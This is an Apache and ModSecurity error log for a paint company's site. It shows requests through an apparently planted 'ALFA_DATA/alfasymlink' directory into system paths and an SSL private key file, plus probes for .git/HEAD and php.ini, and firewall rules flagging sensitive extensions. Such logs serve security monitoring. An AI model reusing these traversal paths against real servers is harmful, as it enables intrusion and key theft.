[Mon Oct 26 04:02:40.176055 2026] [security2:error] [pid 2996018:tid 2996018] [client 52.3.102.51:6143] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/tty/ttyS0/subsystem/ttyS3/device/subsystem/drivers/amd_gpio/"] [unique_id "at8JIDWyFDAiEwmuonYmXQAAAAM"]
[Mon Oct 26 04:02:40.176104 2026] [security2:error] [pid 2996018:tid 2996018] [client 52.3.102.51:6143] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/tty/ttyS0/subsystem/ttyS3/device/subsystem/drivers/amd_gpio/"] [unique_id "at8JIDWyFDAiEwmuonYmXQAAAAM"]
[Mon Oct 26 04:02:43.948135 2026] [ssl:error] [pid 2992769:tid 2992769] (70014)End of file found: [client 54.243.63.52:38367] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:02:51.667885 2026] [ssl:error] [pid 2982084:tid 2982084] (70014)End of file found: [client 52.204.89.12:15415] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:02:51.668156 2026] [security2:error] [pid 2982084:tid 2982084] [client 52.204.89.12:15415] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:01/PNP0B00:00/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:00/physical_node/driver/0000:00:01.3/firmware_node/uevent"] [unique_id "at8JKzDO8MpTZE2iHS59JAAAAAk"]
[Mon Oct 26 04:02:51.668368 2026] [security2:error] [pid 2982084:tid 2982084] [client 52.204.89.12:15415] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:01/PNP0B00:00/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:00/physical_node/driver/0000:00:01.3/firmware_node/uevent"] [unique_id "at8JKzDO8MpTZE2iHS59JAAAAAk"]
[Mon Oct 26 04:02:55.460337 2026] [security2:error] [pid 2984450:tid 2984450] [client 185.191.171.19:64916] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/ac5fe_fde73_5ad9b950e022cef29c45bf1e9fd9196f.key"] [unique_id "at8JL8XfkN7WrB_bUyLiDgAAABs"]
[Mon Oct 26 04:02:55.460712 2026] [security2:error] [pid 2984450:tid 2984450] [client 185.191.171.19:64916] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/ac5fe_fde73_5ad9b950e022cef29c45bf1e9fd9196f.key"] [unique_id "at8JL8XfkN7WrB_bUyLiDgAAABs"]
[Mon Oct 26 04:02:55.461084 2026] [security2:error] [pid 2984450:tid 2984450] [client 185.191.171.19:64916] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/ac5fe_fde73_5ad9b950e022cef29c45bf1e9fd9196f.key"] [unique_id "at8JL8XfkN7WrB_bUyLiDgAAABs"]
[Mon Oct 26 04:02:55.997921 2026] [ssl:error] [pid 2995190:tid 2995190] (70014)End of file found: [client 54.159.98.248:3553] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:02:57.320272 2026] [security2:error] [pid 2992769:tid 2992769] [client 170.106.148.137:48632] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/wapisimoagenda.php"] [unique_id "at8JMR5KE-XDnbMv2942BgAAAAY"]
[Mon Oct 26 04:03:07.778560 2026] [ssl:error] [pid 2984450:tid 2984450] (70014)End of file found: [client 54.156.55.147:4800] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:03:11.644963 2026] [ssl:error] [pid 2995190:tid 2995190] (70014)End of file found: [client 34.235.239.240:40248] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:03:19.612507 2026] [core:error] [pid 2984450:tid 2984450] (13)Permission denied: [client 185.191.171.19:65338] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_transaction_s/poison
[Mon Oct 26 04:03:19.940137 2026] [ssl:error] [pid 2993961:tid 2993961] (70014)End of file found: [client 34.233.219.155:16664] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:03:32.120913 2026] [ssl:error] [pid 2994762:tid 2994762] (70014)End of file found: [client 52.202.52.82:14878] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:03:43.973481 2026] [ssl:error] [pid 2984450:tid 2984450] (70014)End of file found: [client 3.221.222.168:43225] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:03:55.658717 2026] [ssl:error] [pid 2992768:tid 2992768] (70014)End of file found: [client 44.215.235.20:55710] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:04:03.888017 2026] [ssl:error] [pid 2992769:tid 2992769] (70014)End of file found: [client 54.80.185.200:39671] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:04:07.992944 2026] [core:error] [pid 2982084:tid 2982084] (13)Permission denied: [client 3.208.156.9:18408] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:05/physical_node/driver/0000:00:04.0/subsystem/drivers/exar_serial/new_id
[Mon Oct 26 04:04:08.953979 2026] [authz_core:error] [pid 2992768:tid 2992768] [client 45.198.224.125:44046] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 04:04:12.030393 2026] [core:error] [pid 2996018:tid 2996018] (13)Permission denied: [client 52.3.102.51:34847] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/mice/subsystem/input0/device/subsystem/devices/PNP0A03:00/physical_node/pci_bus/0000:00/device/0000:00:01.0/remove
[Mon Oct 26 04:04:15.803751 2026] [ssl:error] [pid 2993961:tid 2993961] (70014)End of file found: [client 34.226.89.140:11683] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:04:16.733981 2026] [ssl:error] [pid 2984441:tid 2984441] (70014)End of file found: [client 85.208.96.194:52940] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:04:19.742648 2026] [ssl:error] [pid 2992769:tid 2992769] (70014)End of file found: [client 18.205.127.11:51333] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:04:28.166509 2026] [ssl:error] [pid 2996018:tid 2996018] (70014)End of file found: [client 35.171.141.42:31156] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:04:31.802280 2026] [ssl:error] [pid 2993961:tid 2993961] (70014)End of file found: [client 98.84.200.43:8039] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:04:35.064905 2026] [core:error] [pid 2992769:tid 2992769] (13)Permission denied: [client 85.208.96.197:48176] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-128/reclaim_account
[Mon Oct 26 04:04:35.811168 2026] [ssl:error] [pid 2992768:tid 2992768] (70014)End of file found: [client 34.203.111.15:7059] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:04:40.293546 2026] [ssl:error] [pid 2996018:tid 2996018] (70014)End of file found: [client 3.217.82.254:44382] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:04:48.624992 2026] [ssl:error] [pid 2992768:tid 2992768] (70014)End of file found: [client 34.192.67.98:64520] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:04:51.840036 2026] [ssl:error] [pid 2996018:tid 2996018] (70014)End of file found: [client 3.229.164.203:34758] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:04:52.248866 2026] [security2:error] [pid 2995190:tid 2995190] [client 16.216.88.157:16384] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/systemd/coredump.conf"] [unique_id "at8JpB_ViEB4VmIsS1QVZQAAAAw"]
[Mon Oct 26 04:04:52.249338 2026] [security2:error] [pid 2995190:tid 2995190] [client 16.216.88.157:16384] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/systemd/coredump.conf"] [unique_id "at8JpB_ViEB4VmIsS1QVZQAAAAw"]
[Mon Oct 26 04:04:52.249659 2026] [security2:error] [pid 2995190:tid 2995190] [client 16.216.88.157:16384] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/systemd/coredump.conf"] [unique_id "at8JpB_ViEB4VmIsS1QVZQAAAAw"]
[Mon Oct 26 04:04:58.663282 2026] [core:error] [pid 2993961:tid 2993961] (13)Permission denied: [client 85.208.96.204:30396] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-Namespace/store_user
[Mon Oct 26 04:05:12.347844 2026] [ssl:error] [pid 2993961:tid 2993961] (70014)End of file found: [client 185.191.171.16:42984] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:05:12.628011 2026] [ssl:error] [pid 2994762:tid 2994762] (70014)End of file found: [client 3.227.180.70:13748] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:05:27.779902 2026] [ssl:error] [pid 2984450:tid 2984450] (70014)End of file found: [client 54.157.84.74:49785] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:05:31.885861 2026] [ssl:error] [pid 2992768:tid 2992768] (22)Invalid argument: [client 35.172.125.172:57523] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:05:52.011530 2026] [ssl:error] [pid 2996018:tid 2996018] (70014)End of file found: [client 52.3.26.180:15572] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:06:07.844760 2026] [ssl:error] [pid 2982084:tid 2982084] (70014)End of file found: [client 54.235.125.129:7309] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:06:16.092081 2026] [ssl:error] [pid 2995190:tid 2995190] (70014)End of file found: [client 18.235.158.19:28720] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:06:19.764406 2026] [ssl:error] [pid 2992769:tid 2992769] (70014)End of file found: [client 3.93.211.16:38367] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:06:23.702436 2026] [ssl:error] [pid 2996018:tid 2996018] (70014)End of file found: [client 52.70.123.241:60436] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:06:26.874866 2026] [core:error] [pid 2992282:tid 2992282] (13)Permission denied: [client 85.208.96.209:22966] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/PING/validate
[Mon Oct 26 04:06:28.092499 2026] [core:error] [pid 2996081:tid 2996081] (13)Permission denied: [client 85.208.96.209:22976] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/buffer_head/sanity_checks
[Mon Oct 26 04:06:31.808637 2026] [ssl:error] [pid 2996018:tid 2996018] (70014)End of file found: [client 3.221.156.96:16294] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:06:36.410539 2026] [ssl:error] [pid 2993961:tid 2993961] (70014)End of file found: [client 44.205.192.249:46535] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:06:43.815755 2026] [ssl:error] [pid 2995190:tid 2995190] (70014)End of file found: [client 52.3.102.51:31002] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:06:55.808931 2026] [core:error] [pid 2993961:tid 2993961] (13)Permission denied: [client 18.213.27.222:53527] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input1/device/firmware_node/subsystem/devices/device:06/physical_node/subsystem/rescan
[Mon Oct 26 04:07:03.929313 2026] [ssl:error] [pid 2988243:tid 2988243] (70014)End of file found: [client 54.84.161.62:16524] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:07:07.896783 2026] [ssl:error] [pid 2992768:tid 2992768] (70014)End of file found: [client 52.202.52.82:31797] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:07:11.761390 2026] [ssl:error] [pid 2996018:tid 2996018] (70014)End of file found: [client 3.210.114.189:49652] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:07:15.921421 2026] [ssl:error] [pid 2984450:tid 2984450] (70014)End of file found: [client 18.210.58.238:60606] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:07:15.921654 2026] [security2:error] [pid 2984450:tid 2984450] [client 18.210.58.238:60606] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/event0/subsystem/event1/device/device/driver/serio0/firmware_node/subsystem/devices/device:08/adr"] [unique_id "at8KM8XfkN7WrB_bUyLiFgAAABs"]
[Mon Oct 26 04:07:15.921677 2026] [security2:error] [pid 2984450:tid 2984450] [client 18.210.58.238:60606] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/event0/subsystem/event1/device/device/driver/serio0/firmware_node/subsystem/devices/device:08/adr"] [unique_id "at8KM8XfkN7WrB_bUyLiFgAAABs"]
[Mon Oct 26 04:07:19.832518 2026] [ssl:error] [pid 2988243:tid 2988243] (70014)End of file found: [client 98.83.177.42:56394] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:07:31.681208 2026] [ssl:error] [pid 2992282:tid 2992282] (70014)End of file found: [client 34.231.45.47:12268] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:07:35.639104 2026] [ssl:error] [pid 2988243:tid 2988243] (70014)End of file found: [client 18.209.137.234:63298] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:07:43.874267 2026] [ssl:error] [pid 2984450:tid 2984450] (70014)End of file found: [client 23.22.105.143:18700] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:07:47.702130 2026] [ssl:error] [pid 2988243:tid 2988243] (70014)End of file found: [client 34.235.239.240:63854] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:07:51.681430 2026] [ssl:error] [pid 2993961:tid 2993961] (70014)End of file found: [client 54.147.182.90:55230] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:07:55.991602 2026] [security2:error] [pid 2992282:tid 2992282] [client 185.191.171.9:22760] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/myadmin49/install.php"] [unique_id "at8KWzinotCw53EHKeT-lgAAAAI"]
[Mon Oct 26 04:07:55.991654 2026] [security2:error] [pid 2992282:tid 2992282] [client 185.191.171.9:22760] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/myadmin49/install.php"] [unique_id "at8KWzinotCw53EHKeT-lgAAAAI"]
[Mon Oct 26 04:07:59.838956 2026] [core:error] [pid 2984450:tid 2984450] (13)Permission denied: [client 54.235.191.179:30749] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event0/device/device/subsystem/devices/device:06/physical_node/driver/0000:00:04.0/resource4
[Mon Oct 26 04:08:09.585947 2026] [ssl:error] [pid 2996081:tid 2996081] (70014)End of file found: [client 34.227.156.153:52563] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:08:12.260653 2026] [authz_core:error] [pid 2982084:tid 2982084] [client 185.100.87.136:49660] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 04:08:13.513841 2026] [core:crit] [pid 2992769:tid 2992769] (13)Permission denied: [client 185.100.87.136:49674] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Mon Oct 26 04:08:23.925396 2026] [ssl:error] [pid 2992769:tid 2992769] (70014)End of file found: [client 52.3.156.186:56505] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:08:31.718234 2026] [core:error] [pid 2984261:tid 2984261] (13)Permission denied: [client 52.45.77.169:52762] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/LNXSYSTM:00/subsystem/devices/PNP0A03:00/device:00/physical_node/subsystem/drivers/virtio-pci/0000:00:03.0/driver/new_id
[Mon Oct 26 04:08:35.644608 2026] [core:error] [pid 2993961:tid 2993961] (13)Permission denied: [client 3.232.39.98:29225] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/device:01/wakeup/wakeup1/device/PNP0B00:00/subsystem/drivers/ac/bind
[Mon Oct 26 04:08:43.784235 2026] [security2:error] [pid 2990575:tid 2990575] [client 52.1.157.90:23261] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/input/mouse0/device/subsystem/input1/subsystem/mice/"] [unique_id "at8Kiznj8sJWmxnIswzOMwAAAAQ"]
[Mon Oct 26 04:08:43.784274 2026] [security2:error] [pid 2990575:tid 2990575] [client 52.1.157.90:23261] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/input/mouse0/device/subsystem/input1/subsystem/mice/"] [unique_id "at8Kiznj8sJWmxnIswzOMwAAAAQ"]
[Mon Oct 26 04:08:48.051388 2026] [ssl:error] [pid 2992769:tid 2992769] (70014)End of file found: [client 3.210.114.189:53084] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:08:51.903811 2026] [ssl:error] [pid 2984261:tid 2984261] (70014)End of file found: [client 44.195.50.71:63405] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:08:55.681474 2026] [ssl:error] [pid 2994762:tid 2994762] (70014)End of file found: [client 54.197.114.76:32858] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:08:59.807234 2026] [ssl:error] [pid 2996081:tid 2996081] (70014)End of file found: [client 54.84.161.62:25037] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:09:08.116135 2026] [core:error] [pid 2993961:tid 2993961] (13)Permission denied: [client 18.233.24.238:22607] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/subsystem/drivers/xen-platform-pci/uevent
[Mon Oct 26 04:09:15.636055 2026] [security2:error] [pid 2992769:tid 2992769] [client 52.2.191.202:34187] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/root/sys/bus/cpu/devices/cpu0/driver/cpu1/power/"] [unique_id "at8Kqx5KE-XDnbMv2942EgAAAAY"]
[Mon Oct 26 04:09:15.636098 2026] [security2:error] [pid 2992769:tid 2992769] [client 52.2.191.202:34187] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/root/sys/bus/cpu/devices/cpu0/driver/cpu1/power/"] [unique_id "at8Kqx5KE-XDnbMv2942EgAAAAY"]
[Mon Oct 26 04:09:21.753859 2026] [security2:error] [pid 2984462:tid 2984462] [client 107.172.76.131:52229] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at8KpNm4P87-s5vbjIiJKwAAAB8"], referer: https://bases1.sherwinpinturas.com/beta.php
[Mon Oct 26 04:09:21.753917 2026] [security2:error] [pid 2984462:tid 2984462] [client 107.172.76.131:52229] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at8KpNm4P87-s5vbjIiJKwAAAB8"], referer: https://bases1.sherwinpinturas.com/beta.php
[Mon Oct 26 04:09:22.779293 2026] [core:error] [pid 2996081:tid 2996081] (13)Permission denied: [client 85.208.96.193:64092] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/signal_cache/red_zone
[Mon Oct 26 04:09:23.775635 2026] [ssl:error] [pid 2984261:tid 2984261] (70014)End of file found: [client 44.215.61.66:9584] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:09:36.352281 2026] [ssl:error] [pid 2996081:tid 2996081] (70014)End of file found: [client 98.83.72.38:61456] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:09:39.814641 2026] [security2:error] [pid 2984261:tid 2984261] [client 80.94.92.126:65152] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "zacson2.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at8Kwy-E70pTpF9ObR-yjAAAAAg"]
[Mon Oct 26 04:09:39.814937 2026] [security2:error] [pid 2984261:tid 2984261] [client 80.94.92.126:65152] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "zacson2.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at8Kwy-E70pTpF9ObR-yjAAAAAg"]
[Mon Oct 26 04:09:39.815283 2026] [security2:error] [pid 2984261:tid 2984261] [client 80.94.92.126:65152] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "zacson2.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at8Kwy-E70pTpF9ObR-yjAAAAAg"]
[Mon Oct 26 04:09:43.753812 2026] [ssl:error] [pid 2994762:tid 2994762] (70014)End of file found: [client 98.82.107.102:39845] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:09:56.404198 2026] [ssl:error] [pid 2994762:tid 2994762] (70014)End of file found: [client 98.83.72.38:40067] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:09:59.684525 2026] [ssl:error] [pid 2996081:tid 2996081] (70014)End of file found: [client 52.204.89.12:25584] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:10:19.817701 2026] [ssl:error] [pid 2982084:tid 2982084] (70014)End of file found: [client 44.194.139.149:15050] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:10:23.670738 2026] [ssl:error] [pid 2990575:tid 2990575] (70014)End of file found: [client 98.83.177.42:25325] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:10:26.255558 2026] [authz_core:error] [pid 2993961:tid 2993961] [client 68.183.135.248:55794] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
